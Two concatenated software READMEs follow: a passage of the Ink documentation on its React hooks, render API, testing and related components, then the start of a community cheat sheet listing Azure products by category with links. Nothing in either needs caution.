`useStdout` is a React hook, which exposes stdout stream, where Ink renders your app.
#### stdout
Type: `stream.Writable`\
Default: `process.stdout`
```js
import {useStdout} from 'ink';
const Example = () => {
const {stdout} = useStdout;
return …
};
```
#### write(data)
Write any string to stdout, while preserving Ink's output.
It's useful when you want to display some external information outside of Ink's rendering and ensure there's no conflict between the two.
It's similar to `<Static>`, except it can't accept components, it only works with strings.
##### data
Type: `string`
Data to write to stdout.
```js
import {useStdout} from 'ink';
const Example = () => {
const {write} = useStdout();
useEffect(() => {
// Write a single message to stdout, above Ink's output
write('Hello from Ink to stdout\n');
}, []);
return …
};
```
See additional usage example in [examples/use-stdout](examples/use-stdout/use-stdout.js).
### useStderr()
`useStderr` is a React hook, which exposes stderr stream.
#### stderr
Type: `stream.Writable`\
Default: `process.stderr`
Stderr stream.
```js
import {useStderr} from 'ink';
const Example = () => {
const {stderr} = useStderr();
return …
};
```
#### write(data)
Write any string to stderr, while preserving Ink's output.
It's useful when you want to display some external information outside of Ink's rendering and ensure there's no conflict between the two.
It's similar to `<Static>`, except it can't accept components, it only works with strings.
##### data
Type: `string`
Data to write to stderr.
```js
import {useStderr} from 'ink';
const Example = () => {
const {write} = useStderr();
useEffect(() => {
// Write a single message to stderr, above Ink's output
write('Hello from Ink to stderr\n');
}, []);
return …
};
```
### useFocus(options?)
Component that uses `useFocus` hook becomes "focusable" to Ink, so when user presses <kbd>Tab</kbd>, Ink will switch focus to this component.
If there are multiple components that execute `useFocus` hook, focus will be given to them in the order that these components are rendered in.
This hook returns an object with `isFocused` boolean property, which determines if this component is focused or not.
#### options
##### autoFocus
Type: `boolean`\
Default: `false`
Auto focus this component, if there's no active (focused) component right now.
##### isActive
Type: `boolean`\
Default: `true`
Enable or disable this component's focus, while still maintaining its position in the list of focusable components.
This is useful for inputs that are temporarily disabled.
```jsx
import {render, useFocus, Text} from 'ink';
const Example = () => {
const {isFocused} = useFocus();
return <Text>{isFocused ? 'I am focused' : 'I am not focused'}</Text>;
};
render(<Example />);
```
See example in [examples/use-focus](examples/use-focus/use-focus.js).
### useFocusManager()
This hook exposes methods to enable or disable focus management for all components or manually switch focus to next or previous components.
#### enableFocus()
Enable focus management for all components.
**Note:** You don't need to call this method manually, unless you've disabled focus management. Focus management is enabled by default.
```js
import {useFocusManager} from 'ink';
const Example = () => {
const {enableFocus} = useFocusManager();
useEffect(() => {
enableFocus();
}, []);
return …
};
```
#### disableFocus()
Disable focus management for all components.
Currently active component (if there's one) will lose its focus.
```js
import {useFocusManager} from 'ink';
const Example = () => {
const {disableFocus} = useFocusManager();
useEffect(() => {
disableFocus();
}, []);
return …
};
```
#### focusNext()
Switch focus to the next focusable component.
If there's no active component right now, focus will be given to the first focusable component.
If active component is the last in the list of focusable components, focus will be switched to the first component.
**Note:** Ink calls this method when user presses <kbd>Tab</kbd>.
```js
import {useFocusManager} from 'ink';
const Example = () => {
const {focusNext} = useFocusManager();
useEffect(() => {
focusNext();
}, []);
return …
};
```
#### focusPrevious()
Switch focus to the previous focusable component.
If there's no active component right now, focus will be given to the first focusable component.
If active component is the first in the list of focusable components, focus will be switched to the last component.
**Note:** Ink calls this method when user presses <kbd>Shift</kbd>+<kbd>Tab</kbd>.
```js
import {useFocusManager} from 'ink';
const Example = () => {
const {focusPrevious} = useFocusManager();
useEffect(() => {
focusPrevious();
}, []);
return …
};
```
## API
#### render(tree, options?)
Returns: [`Instance`](#instance)
Mount a component and render the output.
##### tree
Type: `ReactElement`
##### options
Type: `object`
###### stdout
Type: `stream.Writable`\
Default: `process.stdout`
Output stream where app will be rendered.
###### stdin
Type: `stream.Readable`\
Default: `process.stdin`
Input stream where app will listen for input.
###### exitOnCtrlC
Type: `boolean`\
Default: `true`
Configure whether Ink should listen to Ctrl+C keyboard input and exit the app.
This is needed in case `process.stdin` is in [raw mode](https://nodejs.org/api/tty.html#tty_readstream_setrawmode_mode), because then Ctrl+C is ignored by default and process is expected to handle it manually.
###### patchConsole
Type: `boolean`\
Default: `true`
Patch console methods to ensure console output doesn't mix with Ink output.
When any of `console.*` methods are called (like `console.log()`), Ink intercepts their output, clears main output, renders output from the console method and then rerenders main output again.
That way both are visible and are not overlapping each other.
This functionality is powered by [patch-console](https://github.com/vadimdemedes/patch-console), so if you need to disable Ink's interception of output but want to build something custom, you can use it.
###### debug
Type: `boolean`\
Default: `false`
If `true`, each update will be rendered as a separate output, without replacing the previous one.
#### Instance
This is the object that `render()` returns.
##### rerender(tree)
Replace previous root node with a new one or update props of the current root node.
###### tree
Type: `ReactElement`
```jsx
// Update props of the root node
const {rerender} = render(<Counter count={1} />);
rerender(<Counter count={2} />);
// Replace root node
const {rerender} = render(<OldCounter />);
rerender(<NewCounter />);
```
##### unmount()
Manually unmount the whole Ink app.
```jsx
const {unmount} = render(<MyApp />);
unmount();
```
##### waitUntilExit()
Returns a promise, which resolves when app is unmounted.
```jsx
const {unmount, waitUntilExit} = render(<MyApp />);
setTimeout(unmount, 1000);
await waitUntilExit(); // resolves after `unmount()` is called
```
##### clear()
Clear output.
```jsx
const {clear} = render(<MyApp />);
clear();
```
#### measureElement(ref)
Measure the dimensions of a particular `<Box>` element.
It returns an object with `width` and `height` properties.
This function is useful when your component needs to know the amount of available space it has. You could use it when you need to change the layout based on the length of its content.
**Note:** `measureElement()` returns correct results only after the initial render, when layout has been calculated. Until then, `width` and `height` equal to zero. It's recommended to call `measureElement()` in a `useEffect` hook, which fires after the component has rendered.
##### ref
Type: `MutableRef`
A reference to a `<Box>` element captured with a `ref` property.
See [Refs](https://reactjs.org/docs/refs-and-the-dom.html) for more information on how to capture references.
```jsx
import {render, measureElement, Box, Text} from 'ink';
const Example = () => {
const ref = useRef();
useEffect(() => {
const {width, height} = measureElement(ref.current);
// width = 100, height = 1
}, []);
return (
<Box width={100}>
<Box ref={ref}>
<Text>This box will stretch to 100 width</Text>
</Box>
</Box>
);
};
render(<Example />);
```
## Testing
Ink components are simple to test with [ink-testing-library](https://github.com/vadimdemedes/ink-testing-library).
Here's a simple example that checks how component is rendered:
```jsx
import React from 'react';
import {Text} from 'ink';
import {render} from 'ink-testing-library';
const Test = () => <Text>Hello World</Text>;
const {lastFrame} = render(<Test />);
lastFrame() === 'Hello World'; //=> true
```
Check out [ink-testing-library](https://github.com/vadimdemedes/ink-testing-library) for more examples and full documentation.
## Using React Devtools
Ink supports [React Devtools](https://github.com/facebook/react/tree/master/packages/react-devtools) out-of-the-box.
To enable integration with React Devtools in your Ink-based CLI, run it with `DEV=true` environment variable:
```
$ DEV=true my-cli
```
Then, start React Devtools itself:
```
$ npx react-devtools
```
After it starts up, you should see the component tree of your CLI.
You can even inspect and change the props of components, and see the results immediatelly in the CLI, without restarting it.
**Note**: You must manually quit your CLI via <kbd>Ctrl</kbd>+<kbd>C</kbd> after you're done testing.
## Useful Components
- [ink-text-input](https://github.com/vadimdemedes/ink-text-input) - Text input.
- [ink-spinner](https://github.com/vadimdemedes/ink-spinner) - Spinner.
- [ink-select-input](https://github.com/vadimdemedes/ink-select-input) - Select (dropdown) input.
- [ink-link](https://github.com/sindresorhus/ink-link) - Link component.
- [ink-gradient](https://github.com/sindresorhus/ink-gradient) - Gradient color component.
- [ink-big-text](https://github.com/sindresorhus/ink-big-text) - Awesome text component.
- [ink-image](https://github.com/kevva/ink-image) - Display images inside the terminal.
- [ink-tab](https://github.com/jdeniau/ink-tab) - Tab component.
- [ink-color-pipe](https://github.com/LitoMore/ink-color-pipe) - Create color text with simpler style strings in Ink.
- [ink-multi-select](https://github.com/karaggeorge/ink-multi-select) - Select one or more values from a list
- [ink-divider](https://github.com/JureSotosek/ink-divider) - A divider component.
- [ink-progress-bar](https://github.com/brigand/ink-progress-bar) - Configurable component for rendering progress bars.
- [ink-table](https://github.com/maticzav/ink-table) - Table component.
- [ink-ascii](https://github.com/hexrcs/ink-ascii) - Awesome text component with more font choices, based on Figlet.
- [ink-markdown](https://github.com/cameronhunter/ink-markdown) - Render syntax highlighted Markdown.
- [ink-quicksearch-input](https://github.com/Eximchain/ink-quicksearch-input) - Select component with fast quicksearch-like navigation.
- [ink-confirm-input](https://github.com/kevva/ink-confirm-input) - Yes/No confirmation input.
- [ink-syntax-highlight](https://github.com/vsashyn/ink-syntax-highlight) - Code syntax highlighting.
- [ink-form](https://github.com/lukasbach/ink-form) - Form component.
## Useful Hooks
- [ink-use-stdout-dimensions](https://github.com/cameronhunter/ink-monorepo/tree/master/packages/ink-use-stdout-dimensions) - Subscribe to stdout dimensions.
## Examples
- [Jest](examples/jest/jest.js) - Implementation of basic Jest UI [(live demo)](https://ink-jest-demo.vadimdemedes.repl.run/).
- [Counter](examples/counter/counter.js) - Simple counter that increments every 100ms [(live demo)](https://ink-counter-demo.vadimdemedes.repl.run/).
- [Form with Validation](https://github.com/final-form/rff-cli-example) - Manage form state using [Final Form](https://github.com/final-form/final-form#-final-form).
- [Borders](examples/borders/borders.js) - Add borders to `<Box>` component.
- [Suspense](examples/suspense/suspense.js) - Use React Suspense.
- [Table](examples/table/table.js) - Render a table with multiple columns and rows.
- [Focus Management](examples/use-focus/use-focus.js) - Use `useFocus` hook to manage focus between components.
- [User Input](examples/use-input/use-input.js) - Listen to user input.
- [Write to stdout](examples/use-stdout/use-stdout.js) - Write to stdout bypassing main Ink output.
- [Write to stderr](examples/use-stderr/use-stderr.js) - Write to stderr bypassing main Ink output.
- [Static](examples/static/static.js) - Use `<Static>` to render permanent output.
- [Child process](examples/subprocess-output) - Render output from a child process.
## Maintainers
- [Vadim Demedes](https://github.com/vadimdemedes)
- [Sindre Sorhus](https://github.com/sindresorhus)
|
# The Microsoft Azure Developer's Cheat Sheet
Every product, feature and service in the Azure family (updated August 2022.).
## Give a Star! :star:
If you like or are using this project to learn or start your solution, please give it a star. Thanks!
Here are the downloadable versions:
## One page version
**White background**:
[High-resolution PNG](1_page_version/LightSheet/Azure_developers_sheet_light-high_rez.png)
|
[Medium-res PNG](1_page_version/LightSheet/Azure_developers_sheet_light-mid_rez.png)
|
[PDF](1_page_version/LightSheet/Azure_Developers_sheet-light.pdf)
|
[SVG](1_page_version/LightSheet/Azure_Developers_sheet-light.svg)
**Dark background**:
[High-resolution PNG](1_page_version/DarkSheet/Azure_developers_sheet_dark-high_rez.png)
|
[Medium-res PNG](1_page_version/DarkSheet/Azure_developers_sheet_dark-mid_rez.png)
|
[PDF](1_page_version/DarkSheet/Azure_Developers_sheet-dark.pdf)
|
[SVG](1_page_version/DarkSheet/Azure_Developers_sheet-dark.svg)
<a target="_blank" href="1_page_version/DarkSheet/Azure_developers_sheet_dark-mid_rez.png"><img border="1" alt="Microsoft Azure Developer's Cheat Sheet Image" src="1_page_version/DarkSheet/Azure_developers_sheet_dark-mid_rez.png"></a>
## Two page version
**White background**:
High-resolution PNG: [Page 1.](2_page_version/LightSheet/High/Azure-document-light-1st-page-highrez.png)
|
[Page 2.](2_page_version/LightSheet/High/Azure-document-light-2nd-page-highrez.png)
Medium-res PNG: [Page 1.](2_page_version/LightSheet/Mid/Azure-document-light-1st-page-mid-rez.png)
|
[Page 2.](2_page_version/LightSheet/Mid/Azure-document-light-2nd-page-mid-rez.png)
Low-res PNG: [Page 1.](2_page_version/LightSheet/Low/Azure-document-light-1st-page-low-rez.png)
|
[Page 2.](2_page_version/LightSheet/Low/Azure-document-light-2nd-page-low-rez.png)
[PDF](2_page_version/LightSheet/Azure_Developers_2_page_sheet_light.pdf)
|
[SVG](2_page_version/LightSheet/Azure_Developers_2_page_sheet_light.svg)
**Dark background**:
High-resolution PNG: [Page 1.](2_page_version/DarkSheet/High/Azure-document-dark-1st-page-highrez.png)
|
[Page 2.](2_page_version/DarkSheet/High/Azure-document-dark-2nd-page-highrez.png)
Medium-res PNG: [Page 1.](2_page_version/DarkSheet/Mid/Azure-document-dark-1st-page-mid_rez.png)
|
[Page 2.](2_page_version/DarkSheet/Mid/Azure-document-dark-2nd-page-mid_rez.png)
Low-res PNG: [Page 1.](2_page_version/DarkSheet/Low/Azure-document-dark-1st-page-low_rez.png)
|
[Page 2.](2_page_version/DarkSheet/Low/Azure-document-dark-2nd-page-low_rez.png)
[PDF](2_page_version/DarkSheet/Azure_Developers_2_page_sheet_dark.pdf)
|
[SVG](2_page_version/DarkSheet/Azure_Developers_2_page_sheet_dark.svg)
<p align="center">
<a target="_blank" href="2_page_version/DarkSheet/Low/Azure-document-dark-1st-page-low_rez.png">
<img alt="Light" src="2_page_version/DarkSheet/Low/Azure-document-dark-1st-page-low_rez.png" width="45%"></a>
<a target="_blank" href="2_page_version/DarkSheet/Low/Azure-document-dark-2nd-page-low_rez.png"><img alt="Dark" src="2_page_version/DarkSheet/Low/Azure-document-dark-2nd-page-low_rez.png" width="45%"></a>
</p>
Fetched from: https://azure.microsoft.com/en-gb/products/ (August 2022.)
Text descriptions with links are below
If you have any suggestions or missing products, create a pull request on this README.md file or [contact me](https://milan.milanovic.org).
----------------------------
# All Products
## [**Compute**](https://azure.microsoft.com/en-gb/products/category/compute/)
### Access cloud compute capacity and scale on demand – and only pay for the resources you use
* [**App Service**](https://azure.microsoft.com/en-gb/services/app-service/): Quickly create powerful cloud apps for web and mobile.
* [**Azure Quantum**](https://azure.microsoft.com/en-gb/services/quantum/): Jump in and explore a diverse selection of today's quantum hardware, software, and solutions.
* [**Azure Spring Apps**](https://azure.microsoft.com/en-gb/services/spring-apps/): Build and deploy Spring Boot applications with a fully managed service from Microsoft and VMware.
* [**Batch**](https://azure.microsoft.com/en-gb/services/batch/): Cloud-scale job scheduling and compute management.
* [**Linux Virtual Machines**](https://azure.microsoft.com/en-gb/services/virtual-machines/linux-and-open/): Provision virtual machines for Ubuntu, Red Hat, and more.
* [**Static Web Apps**](https://azure.microsoft.com/en-gb/services/app-service/static/): A modern web app service that offers streamlined full-stack development from source code to global high availability.
* [**Virtual Machines**](https://azure.microsoft.com/en-gb/services/virtual-machines/): Provision Windows and Linux virtual machines in seconds.
* [**Azure Dedicated Host**](https://azure.microsoft.com/en-gb/services/virtual-machines/dedicated-host/): A dedicated physical server to host your Azure VMs for Windows and Linux.
* [**Azure Kubernetes Service (AKS)**](https://azure.microsoft.com/en-gb/services/kubernetes-service/): Build and scale with managed Kubernetes.
* [**Container Instances**](https://azure.microsoft.com/en-gb/services/container-instances/): Easily run containers on Azure without managing servers.
* [**Azure CycleCloud**](https://azure.microsoft.com/en-gb/features/azure-cyclecloud/): Create, manage, operate and optimise HPC and big compute clusters of any scale.
* [**Azure Spot Virtual Machines**](https://azure.microsoft.com/en-gb/services/virtual-machines/spot/): Provision unused compute capacity at deep discounts to run interruptible workloads.
* [**Azure VMware Solution**](https://azure.microsoft.com/en-gb/services/azure-vmware/): Run your VMware workloads natively on Azure.
* [**Cloud Services**](https://azure.microsoft.com/en-gb/services/cloud-services/): Create highly-available, infinitely-scalable cloud applications and APIs.
* [**SQL Server on Azure Virtual Machines**](https://azure.microsoft.com/en-gb/services/virtual-machines/sql-server/): Migrate SQL Server workloads to the cloud at lower total cost of ownership (TCO).
* [**Virtual Machine Scale Sets**](https://azure.microsoft.com/en-gb/services/virtual-machine-scale-sets/): Manage and scale up to thousands of Linux and Windows VMs.
* [**Azure Virtual Desktop**](https://azure.microsoft.com/en-gb/services/virtual-desktop/): Enable a secure, remote desktop experience from anywhere.
* [**Azure VM Image Builder**](https://azure.microsoft.com/en-gb/services/image-builder/): Simplify your image building process with easy to use tool.
* [**Azure functions**](https://azure.microsoft.com/en-gb/services/functions/): Execute event-driven serverless code functions with an end-to-end development experience.
* [**Service Fabric**](https://azure.microsoft.com/en-gb/services/service-fabric/): Develop microservices and orchestrate containers on Windows or Linux.
## [**AI + Machine Learning**](https://azure.microsoft.com/en-gb/overview/ai-platform/)
### Create the next generation of applications using artificial intelligence capabilities for any developer and any scenario
* [**Anomaly Detector**](https://azure.microsoft.com/en-gb/services/cognitive-services/anomaly-detector/): Easily add anomaly detection capabilities to your apps.
* [**Azure Cognitive Search**](https://azure.microsoft.com/en-gb/services/search/): Enterprise scale search for app development.
* [**Azure Machine Learning**](https://azure.microsoft.com/en-gb/services/machine-learning/): Use an enterprise-grade service for the end-to-end machine learning lifecycle.
* [**Azure Cognitive Services**](https://azure.microsoft.com/en-gb/services/cognitive-services/): Deploy high-quality AI models as APIs.
* [**Computer Vision**](https://azure.microsoft.com/en-gb/services/cognitive-services/computer-vision/): Distill actionable information from images.
* [**Custom Vision**](https://azure.microsoft.com/en-gb/services/cognitive-services/custom-vision-service/): asily customise your own state-of-the-art computer vision models for your unique use case.
* [**Face API**](https://azure.microsoft.com/en-gb/services/cognitive-services/face/): Detect, identify, analyse, organise and tag faces in photos.
* [**Azure Immersive Reader**](https://azure.microsoft.com/en-gb/services/immersive-reader/): Empower users of all ages and abilities to read and comprehend text.
* [**Language Understanding (LUIS)**](https://docs.microsoft.com/en-gb/azure/cognitive-services/luis/what-is-luis): Teach your apps to understand commands from your users.
* [**Personaliser**](https://azure.microsoft.com/en-gb/services/cognitive-services/personalizer/): An AI service that delivers a personalised user experience.
* [**QnA Maker**](https://docs.microsoft.com/en-gb/azure/cognitive-services/QnAMaker/Overview/overview): Distill information into conversational, easy-to-navigate answers.
* [**Speech-to-Text**](https://azure.microsoft.com/en-gb/services/cognitive-services/speech-to-text/): A Speech service feature that accurately converts spoken audio to text.
* [**Cognitive Service for Language**](https://azure.microsoft.com/en-gb/services/cognitive-services/language-service/): Add natural language capabilities with a single API call.
* [**Translator**](https://azure.microsoft.com/en-gb/services/cognitive-services/translator/): Easily conduct machine translation with a simple REST API call.
* [**Health Bot**](https://azure.microsoft.com/en-gb/services/bot-services/health-bot/): A managed service purpose-built for development of virtual healthcare assistants.
* [**Azure Applied AI Services**](https://aka.ms/ScalerHomepage): Specialist services that enable organisations to accelerate time to value in applying AI to solve common scenarios.
* [**Azure Bot Service**](https://azure.microsoft.com/en-gb/services/bot-services/): Build conversational AI experiences for your customers.
* [**Azure Databricks**](https://azure.microsoft.com/en-gb/services/databricks/): Design AI with Apache Spark™-based analytics.
* [**Azure Open Datasets**](https://azure.microsoft.com/en-gb/services/open-datasets/): Cloud platform to host and share curated open datasets to accelerate development of machine learning models.
* [**Azure Video Indexer**](https://azure.microsoft.com/en-gb/products/#:~:text=models%20as%20APIs-,Azure%20Video%20Indexer,-Easily%20extract%20meaningful): Easily extract meaningful insights from audio and video files using media AI.
* [**Content moderator**](https://azure.microsoft.com/en-gb/products/#:~:text=information%20from%20images-,Content%20moderator,-Automated%20image%2C%20text): Automated image, text and video moderation.
* [**Data Science Virtual Machines**](https://azure.microsoft.com/en-gb/services/virtual-machines/data-science-virtual-machines/): Rich pre-configured environment for AI development.
* [**Azure Form Recogniser**](https://azure.microsoft.com/en-gb/services/form-recognizer/): The AI-powered document extraction service that understands your forms.
* [**Kinect DK**](https://azure.microsoft.com/en-gb/services/kinect-dk/): Build computer vision and speech models using a developer kit with advanced AI sensors.
* [**Microsoft Genomics**](https://azure.microsoft.com/en-gb/services/genomics/): Power genome sequencing & research insights.
* [**Project Bonsai <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/project-bonsai/): Create intelligent industrial control systems using simulations.
* [**Speaker Recognition**](https://azure.microsoft.com/en-gb/services/cognitive-services/speaker-recognition/): A Speech service feature that verifies and identifies speakers.
* [**Speech translation**](https://azure.microsoft.com/en-gb/services/cognitive-services/speech-translation/): Easily integrate real-time speech translation to your app.
* [**Text to Speech**](https://azure.microsoft.com/en-gb/services/cognitive-services/text-to-speech/): A Speech service feature that converts text to lifelike speech.
* [**Azure Metrics Advisor**](https://azure.microsoft.com/en-gb/services/metrics-advisor/): An AI service that monitors metrics and diagnoses issues.
* [**Azure Percept <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/azure-percept/): Accelerate edge intelligence from silicon to service.
* [**Azure OpenAI Service <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/cognitive-services/openai-service/): Apply advanced coding and language models to a variety of use cases.
## [**Analytics**](https://azure.microsoft.com/en-gb/products/category/analytics/)
### Gather, store, process, analyse and visualise data of any variety, volume or velocity
* [**Azure Analysis Services**](https://azure.microsoft.com/en-gb/services/analysis-services/): Enterprise-grade analytics engine as a service.
* [**Azure Data Factory**](https://azure.microsoft.com/en-gb/services/data-factory/): Hybrid data integration at enterprise scale, made easy.
* [**Azure Data Lake Storage Gen1**](https://azure.microsoft.com/en-gb/services/storage/data-lake-storage/): Hyperscale repository for big data analytics workloads.
* [**Azure Databricks**](https://azure.microsoft.com/en-gb/services/databricks/): Design AI with Apache Spark™-based analytics
* [**Azure Synapse Analytics**](https://azure.microsoft.com/en-gb/services/synapse-analytics/): Limitless analytics service with unmatched time to insight.
* [**Data Lake Analytics**](https://azure.microsoft.com/en-gb/services/data-lake-analytics/): Distributed analytics service that makes big data easy.
* [**HDInsight**](https://azure.microsoft.com/en-gb/services/hdinsight/): Provision cloud Hadoop, Spark, R Server, HBase, and Storm clusters.
* [**R Server for HDInsight**](https://azure.microsoft.com/en-gb/services/hdinsight/r-server/): Predictive analytics, machine learning and statistical modelling for big data.
* [**Microsoft Graph Data Connect <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/graph-data-connect/): A secure, high-throughput connector designed to copy select Microsoft 365 productivity datasets into your Azure tenant.
* [**Azure Data Explorer**](https://azure.microsoft.com/en-gb/services/data-explorer/): Fast and highly scalable data exploration service.
* [**Azure Data Lake Storage**](https://azure.microsoft.com/en-gb/services/storage/data-lake-storage/): Scalable, secure data lake for high-performance analytics.
* [**Azure Data Share**](https://azure.microsoft.com/en-gb/services/data-share/): A simple and safe service for sharing big data with external organisations.
* [**Azure Stream Analytics**](https://azure.microsoft.com/en-gb/services/stream-analytics/): Real-time analytics on fast-moving streaming data.
* [**Data Catalogue**](https://azure.microsoft.com/en-gb/services/data-catalog/): Get more value from your enterprise data assets.
* [**Event Hubs**](https://azure.microsoft.com/en-gb/services/event-hubs/): Receive telemetry from millions of devices.
* [**Power BI Embedded**](https://azure.microsoft.com/en-gb/services/power-bi-embedded/): White label Power BI to quickly and easily provide exceptional customer facing dashboards and analytics in your own applications.
* [**Microsoft Purview**](https://azure.microsoft.com/en-gb/services/purview/): Govern, protect, and manage your data estate.
* [**Azure Chaos Studio <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/chaos-studio/): Improve application resilience by introducing faults and simulating outages.
## [**Containers**](https://azure.microsoft.com/en-gb/product-categories/containers/)
### Develop and manage your containerised apps faster with integrated tools
* [**App Configuration**](https://azure.microsoft.com/en-gb/services/app-configuration/): Fast, scalable parameter storage for app configuration.
* [**Azure Red Hat OpenShift**](https://azure.microsoft.com/en-gb/services/openshift/): Fully managed OpenShift service, jointly operated with Red Hat.
* [**Azure functions**](https://azure.microsoft.com/en-gb/services/functions/): Execute event-driven serverless code functions with an end-to-end development experience.
* [**Container Instances**](https://azure.microsoft.com/en-gb/services/container-instances/): Easily run containers on Azure without managing servers..
* [**Container Registry**](https://azure.microsoft.com/en-gb/services/container-registry/): Store and manage container images across all types of deployments.
* [**Azure Kubernetes Service (AKS)**](https://azure.microsoft.com/en-gb/services/kubernetes-service/): Build and scale with managed Kubernetes.
* [**Azure Container Apps**](https://azure.microsoft.com/en-gb/services/container-apps/): Build and deploy modern apps and microservices using serverless containers.
* [**Web App for Containers**](https://azure.microsoft.com/en-gb/services/app-service/containers/): Easily deploy and run containerised web apps on Windows and Linux.
* [**Service Fabric**](https://azure.microsoft.com/en-gb/services/service-fabric/): Develop microservices and orchestrate containers on Windows or Linux.
## [**Databases**](https://azure.microsoft.com/en-gb/product-categories/databases/)
### Support rapid growth and innovate faster with secure, enterprise-grade and fully managed database services
* [**Azure Cache for Redis**](https://azure.microsoft.com/en-gb/services/cache/): Accelerate apps with high-throughput, low-latency data caching.
* [**Azure Data Factory**](https://azure.microsoft.com/en-gb/services/data-factory/): Hybrid data integration at enterprise scale, made easy.
* [**Azure Database for MySQL**](https://azure.microsoft.com/en-gb/services/mysql/): Fully managed, scalable MySQL database.
* [**Azure Database Migration Service**](https://azure.microsoft.com/en-gb/services/database-migration/): Accelerate your data migration to Azure.
* [**Azure SQL**](https://azure.microsoft.com/en-gb/products/azure-sql/): The family of SQL cloud databases providing flexible options for application migration, modernisation and development.
* [**Azure SQL Edge**](https://azure.microsoft.com/en-gb/products/azure-sql/edge/): Small-footprint, edge-optimised SQL database engine with built-in AI.
* [**Azure SQL Database**](https://azure.microsoft.com/en-gb/products/azure-sql/database/): Managed, intelligent SQL database in the cloud.
* [**Azure SQL Managed Instance**](https://azure.microsoft.com/en-gb/products/azure-sql/managed-instance/): Managed, always up-to-date SQL instance in the cloud.
* [**Table Storage**](https://azure.microsoft.com/en-gb/services/storage/tables/): NoSQL key-value store using semi-structured datasets.
* [**Azure Confidential Ledger**](https://azure.microsoft.com/en-gb/services/azure-confidential-ledger/): Tamperproof, unstructured data store hosted in trusted execution environments (TEEs) and backed by cryptographically verifiable evidence.
* [**Azure Cosmos DB**](https://azure.microsoft.com/en-gb/services/cosmos-db/): Fast NoSQL database with open APIs for any scale.
* [**Azure Database for MariaDB**](https://azure.microsoft.com/en-gb/services/mariadb/): Managed MariaDB database service for app developers.
* [**Azure Database for PostgreSQL**](https://azure.microsoft.com/en-gb/services/postgresql/): Fully managed, intelligent, and scalable PostgreSQL.
* [**SQL Server on Azure Virtual Machines**](https://azure.microsoft.com/en-gb/services/virtual-machines/sql-server/): Migrate SQL Server workloads to the cloud at lower total cost of ownership (TCO).
* [**Azure Managed Instance for Apache Cassandra**](https://azure.microsoft.com/en-gb/services/managed-instance-apache-cassandra/): Cloud Cassandra with flexibility, control and scale.
## [**Developer Tools**](https://azure.microsoft.com/en-gb/product-categories/developer-tools/)
### Build, manage and continuously deliver cloud applications – using any platform or language
* [**App Configuration**](https://azure.microsoft.com/en-gb/services/app-configuration/): Fast, scalable parameter storage for app configuration.
* [**Azure DevTest Labs**](https://azure.microsoft.com/en-gb/services/devtest-lab/): Quickly create environments using reusable templates and artifacts.
* [**SDKs**](https://azure.microsoft.com/en-gb/downloads/): Get the SDKs and command-line tools you need.
* [**Visual Studio Code**](https://azure.microsoft.com/en-gb/products/visual-studio-code/): A powerful, lightweight code editor for cloud development.
* [**Azure DevOps**](https://azure.microsoft.com/en-gb/services/devops/): Services for teams to share code, track work and ship software.
* [**Azure Pipelines**](https://azure.microsoft.com/en-gb/services/devops/pipelines/): Continuously build, test, and deploy to any platform and cloud.
* [**Visual Studio**](https://azure.microsoft.com/en-gb/products/visual-studio/): Powerful and flexible environment to develop apps in the cloud.
* [**Azure Load Testing <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/load-testing/): Optimise app performance with high-scale load testing.
## [**DevOps**](https://azure.microsoft.com/en-gb/products/category/devops/)
### Deliver innovation faster with simple, reliable tools for continuous delivery
* [**Azure Artifacts**](https://azure.microsoft.com/en-gb/services/devops/artifacts/): Create, host, and share packages with your team.
* [**Azure Boards**](https://azure.microsoft.com/en-gb/services/devops/boards/): Plan, track, and discuss work across your teams.
* [**Azure DevOps**](https://azure.microsoft.com/en-gb/services/devops/): Services for teams to share code, track work and ship software.
* [**Azure DevTest Labs**](https://azure.microsoft.com/en-gb/services/devtest-lab/): Quickly create environments using reusable templates and artifacts.
* [**Azure Monitor**](https://azure.microsoft.com/en-gb/services/monitor/): Full observability into your apps, infrastructure and network.
* [**Azure Pipelines**](https://azure.microsoft.com/en-gb/services/devops/pipelines/): Continuously build, test, and deploy to any platform and cloud.
* [**Azure Repos**](https://azure.microsoft.com/en-gb/services/devops/repos/): Get unlimited, cloud-hosted private Git repos for your project.
* [**Azure Test Plans**](https://azure.microsoft.com/en-gb/services/devops/test-plans/): Test and ship confidently with an exploratory test toolkit.
* [**DevOps tool integrations**](https://azure.microsoft.com/en-gb/products/devops-tool-integrations/): Use your favorite DevOps tools with Azure.
* [**Azure Load Testing <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/load-testing/): Optimise app performance with high-scale load testing.
* [**Azure Managed Grafana <sup>PREVIEW</sup>**](https://azure.microsoft.com/en-gb/services/managed-grafana/): Deploy Grafana dashboards as a fully managed Azure service.
## [**Hybrid + multicloud**](https://azure.microsoft.com/en-gb/solutions/hybrid-cloud-app/)
### Get Azure innovation everywhere—bring the agility and innovation of cloud computing to your on-premises workloads
* [**Azure Active Directory (Azure AD)**](https://azure.microsoft.com/en-gb/services/active-directory/): Synchronise on-premises directories and enable single sign-on.
* [**Azure Database for PostgreSQL**](https://azure.microsoft.com/en-gb/services/postgresql/): Fully managed, intelligent, and scalable PostgreSQL.
* [**Azure ExpressRoute**](https://azure.microsoft.com/en-gb/services/expressroute/): edicated private-network fibre connections to Azure.
* [**Azure Sentinel**](https://azure.microsoft.com/en-gb/services/microsoft-sentinel/): Put cloud-native SIEM and intelligent security analytics to work to help protect your enterprise.
* [**Azure SQL Edge**](https://azure.microsoft.com/en-gb/products/azure-sql/edge/): Small-footprint, edge-optimised SQL database engine with built-in AI.
* [**Security Center**](https://azure.microsoft.com/en-gb/services/security-center/): Unify security management and enable advanced threat protection across hybrid cloud workloads.
* [**Azure Stack Hub**](https://azure.microsoft.com/en-gb/products/azure-stack/hub/): Azure Stack Hub is sold as an integrated hardware system, with software pre-installed on validated hardware.
* [**Azure Modular Datacentre**](https://azure.microsoft.com/en-gb/products/azure-modular-datacenter/): A complete, rugged datacentre solution.
* [**Azure Arc**](https://azure.microsoft.com/en-gb/services/azure-arc/): Secure, develop, and operate infrastructure, apps, and Azure services anywhere.
* [**Azure DevOps**](https://azure.microsoft.com/en-gb/services/devops/): Services for teams to share code, track work and ship software.
